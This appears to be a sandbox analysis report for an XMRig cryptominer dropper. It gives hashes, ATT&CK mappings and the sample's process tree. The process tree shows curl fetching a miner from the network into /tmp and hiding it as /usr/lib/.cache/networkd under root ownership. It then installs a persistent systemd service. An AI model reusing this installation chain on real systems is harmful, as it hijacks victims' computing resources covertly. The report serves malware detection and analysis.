xmrig | 66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

Analysis

max time kernel
25s
max time network
11s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
31/08/2026, 23:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
Size 6KB
Sample260831-285bvsaf37
SHA256 66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
MD5 dd597326da3d8496e2e4ce32a09b4490
SHA1 81a8cf651553a76b3441e59a9f910e560b85d83f
SHA512 3ab8d75eeebbbfdb64da5adf1c336e9462bc4a2510ef263d9218ade19e6a6c7b8e16139995571025c6243452b8e992416935b9d71a9d667a4b91620bf0fde7b3
SSDEEP 192:xcrMMtAvPkfp3plZ4/7d8w73osYfGVkYC0d0C:G1Rm/ZMfG/
TLSH
T179D1D9C2FC24293232ADD0706F86626DFA2516170D697E58B08D703C376EB99913EBF4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/fstream-4.dat	family_xmrig
behavioral4/files/fstream-4.dat	xmrig

Executes dropped EXE 1 IoCs

ioc	pid	Process
/usr/lib/.cache/networkd	766	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/networkd.service	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/149/status	pkill
File opened for reading	/proc/326/cmdline	pkill
File opened for reading	/proc/693/status	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/67/status	pkill
File opened for reading	/proc/651/cmdline	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/651/status	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/75/cmdline	pkill
File opened for reading	/proc/723/cmdline	pkill
File opened for reading	/proc/702/status	pkill
File opened for reading	/proc/702/cmdline	pkill
File opened for reading	/proc/239/status	pkill
File opened for reading	/proc/667/cmdline	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/669/cmdline	pkill
File opened for reading	/proc/700/cmdline	pkill
File opened for reading	/proc/712/status	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/149/status	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/69/status	pkill
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/712/cmdline	pkill
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/115/cmdline	pkill
File opened for reading	/proc/67/status	pkill
File opened for reading	/proc/36/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/67/cmdline	pkill
File opened for reading	/proc/325/cmdline	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/70/status	pkill
File opened for reading	/proc/322/status	pkill
File opened for reading	/proc/326/cmdline	pkill
File opened for reading	/proc/373/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/82/status	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/80/status	pkill
File opened for reading	/proc/371/status	pkill
File opened for reading	/proc/373/cmdline	pkill
File opened for reading	/proc/727/cmdline	pkill
File opened for reading	/proc/116/cmdline	pkill
File opened for reading	/proc/322/cmdline	pkill
File opened for reading	/proc/330/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/417/status	pkill
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/116/status	pkill

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.nettest.log	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
File opened for modification	/tmp/sh-thd.cdG3S6	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
File opened for modification	/tmp/xmrig.tgz	curl
File opened for modification	/tmp/xmrig	cp
File opened for modification	/tmp/sh-thd.mOyFlj	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
File opened for modification	/tmp/.nettest.json	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

/tmp/66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
/tmp/66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
1⤵
- Executes dropped EXE
- Modifies systemd
- Writes file to tmp directory
PID:704
- /bin/hostname
  hostname
  2⤵
  PID:709
- /usr/bin/tr
  tr -cd "[:alnum:]-"
  2⤵
  PID:710
- /usr/bin/id
  id -u
  2⤵
  PID:715
- /usr/bin/whoami
  whoami
  2⤵
  PID:718
- /bin/hostname
  hostname
  2⤵
  PID:721
- /usr/bin/pkill
  pkill -f /usr/lib/.cache/networkd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:723
- /usr/bin/pkill
  pkill -f /tmp/xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:727
- /bin/sleep
  sleep 1
  2⤵
  PID:730
- /usr/bin/curl
  curl -fsSL -o /tmp/xmrig.tgz https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-linux-static-x64.tar.gz
  2⤵
  - Writes file to tmp directory
  PID:739
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:744
- /usr/bin/sha256sum
  sha256sum /tmp/xmrig.tgz
  2⤵
  PID:743
- /bin/tar
  tar xzf /tmp/xmrig.tgz
  2⤵
  PID:745
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:746
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:746
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:746
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:746
- - /sbin/gzip
    gzip -d
    3⤵
    PID:746
- - /bin/gzip
    gzip -d
    3⤵
    PID:746
- /bin/cp
  cp -f /tmp/xmrig-6.26.0/xmrig /tmp/xmrig
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/mkdir
  mkdir -p /usr/lib/.cache
  2⤵
  PID:751
- /bin/cp
  cp -f /tmp/xmrig /usr/lib/.cache/networkd
  2⤵
  PID:753
- /bin/chmod
  chmod 750 /usr/lib/.cache/networkd
  2⤵
  PID:754
- /bin/chown
  chown root:root /usr/lib/.cache/networkd
  2⤵
  PID:756
- /bin/rm
  rm -rf /tmp/xmrig /tmp/xmrig.tgz /tmp/xmrig-6.26.0
  2⤵
  PID:758
- /bin/cat
  cat
  2⤵
  PID:759
- /bin/chmod
  chmod 600 /usr/lib/.cache/.net.json
  2⤵
  PID:760
- /bin/chown
  chown root:root /usr/lib/.cache/.net.json
  2⤵
  PID:761
- /bin/date
  date "+%s"
  2⤵
  PID:763
- /bin/sed
  sed s/vps-debian9-mipsel-20260513-en-12-01/deploytest-1788218179-704/ /usr/lib/.cache/.net.json
  2⤵
  PID:765
- /bin/sleep
  sleep 8
  2⤵
  PID:767
- /usr/lib/.cache/networkd
  /usr/lib/.cache/networkd --config /tmp/.nettest.json
  2⤵
  PID:766
- /usr/bin/tail
  tail -5 /tmp/.nettest.log
  2⤵
  PID:836
- /bin/sleep
  sleep 1
  2⤵
  PID:837
- /bin/rm
  rm -f /tmp/.nettest.json /tmp/.nettest.log
  2⤵
  PID:838
- /bin/systemctl
  systemctl list-units
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:839
- /bin/cat
  cat
  2⤵
  PID:840
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:841
- /bin/systemctl
  systemctl enable /etc/systemd/system/networkd.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:854
- /bin/systemctl
  systemctl restart /etc/systemd/system/networkd.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:867

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

networkd.service

Path /etc/systemd/system/networkd.service
Size 413B
SHA256 481c43849ffe965bfa4872016afe3187ae752cdcdc8b5b9f24f09e9029fdd5ad
MD5 cca9c081d53bff817ee8d502d73c91ed
SHA1 65374d6c60fa642536e0b7c37e9bef4edfd48a4c
SHA512 2f7ad52d5e6c12250436a8a7099fac8190d9b8c5e136f022646d6f0a7663a922c6d4d4f2b5f854d0079a0af0de5ebe55f6b29da4c090c0cfd2d694c6aeb6b318
TLSH
T1CBE02B139B2B25B3DA0A3D6889A39B24459051415D8FB8FC6A932BD0B4E1345D039AAD
MD5 SHA1 SHA512 TLSH

Submit Download

.nettest.json

Path /tmp/.nettest.json
Size 836B
SHA256 2115e1c1a7165aa648201ecc9dadbcd1822877b7426b9e82c84d588befa2983a
MD5 9cf5ba41ae6c17dcbc9fa37742e1e755
SHA1 00d18f5574fa763aad49d66ff1c5a8f73b778cea
SHA512 11df1b4ef29be33201161009fc26a7d72912cec55fe6066844259576210b368ea287556f94c4044337821344606f298445fcc93f9f804ecc0be455290879c50f
TLSH
T1AC012B10C8740CB711E4703C54BDA2431B645A4B1DA53D69725C566D2F0EB7FE1B22D4
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.mOyFlj

Path /tmp/sh-thd.mOyFlj
Size 847B
SHA256 e39671f230a8e3cfafb4c79b68f89266fa5f34cd39337ff610b9facf6d5d14f0
MD5 2d3aa81cc353593ecb129a9a6a2c1d49
SHA1 5db68deaa69918222ec5e323b164b7438b497458
SHA512 4cc0b0402f8550497834987aed5d88ec199c7bf7a2a0a3de7a33c3f0602808e48df13135a8555f30bd58a348248eedf6185fff5e4f0cbbd53faa4a379327f4da
TLSH
T18A014710D8340DB70195312C54BDB2431B644A4B0DA53E69725C262C2F0EB6FE1B26D4
MD5 SHA1 SHA512 TLSH

Submit Download

SHA256SUMS

Path /tmp/xmrig-6.26.0/SHA256SUMS
Size 150B
SHA256 dfa7c8ebcece392e8ecd4ec56c1e06ff2984068ab81dcada8e65191416be04a9
MD5 791e88a05b74acc879e2bf9379d41fe3
SHA1 44cc4715da1c370d631e20f206f5381d39d835f2
SHA512 3c663ba0667e9c1a95c8a1aa0eb8838488828b628424cbb5d5fa6e98d96a4b87b83e744a1ad0ee7f9acf1d44a43575ab4b70676e448bb7ff7c27511007ac8d3e
TLSH
T1B8C08CB9510D79E3973CD2A5BAF8ACE698012B8A301424109B80886284B56D0D80B828
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path /tmp/xmrig-6.26.0/config.json
Size 2KB
SHA256 a6a710135483296b9a943dc3ed31d6a1396b5cfeb127ab0d7e5c6bf49785130a
MD5 54e9f45448cfc5c6f2506cf89d771fd5
SHA1 c9de25d2c995d1ba2eda402dbe03c409909b842b
SHA512 d616e929fe91d14976a26e511ec50f8f3520924349d3eb04ab785787224f8cd53ed69ba4978a61e6e7f3b6f4e26a69d7d41b59e31d7339ee250c3ea332bae485
TLSH
T17841AD25C9780CBA0294A0BC88EDA293462881075F593C3CB54C995C2F0E73E76B6BE6
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig

Path /tmp/xmrig-6.26.0/xmrig
Size 8.0MB
SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
MD5 e1b3e738928012a07dfce8659b3ff31d
SHA1 c9bb4fc8eadaad35e50de087e3bbd5969cb2df2f
SHA512 cb8b152ebecad5cffdc635ee9ba7e7b3007772b16088aa48e1374e1230db52ae0f2b135369085e6c64a9e61821244b7b0fa2cb13d7fd48af1668c9133d942835
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZ2:ssQLqmjsxymsONkEZqIzolQdo
TLSH
T17E865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xmrig.tgz

Path /tmp/xmrig.tgz
Size 3.4MB
SHA256 fc6f8ae5f64e4f17481f7e3be29a1c56949f216a998414188003eae1db20c9e5
MD5 3988ac93e8e894b74de7794c93d3ff7d
SHA1 7223b8c6b98689ca38539826230c4855276129b2
SHA512 609aa97a29cf90b17d27afd0995856052b8c766530bfc60c5f0ccb3725c47f12eb7264085e18c2b6a9cbe298108c59308e04e806e8d431e0f7ea631d3f909733
SSDEEP 98304:fJmUq2XrJrxFzMo2bUa9FI/QGNSeeQorTHOIZdBXbgXoxn7EEPKdWcK:fJ3dp7Ao2HIoiSefo/HOyTXb/xn7hQK
TLSH
T1C7F533A69112DD877526B7E37FF70480A5891672008ED42789F46CFC66CE3CA6D9F22C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads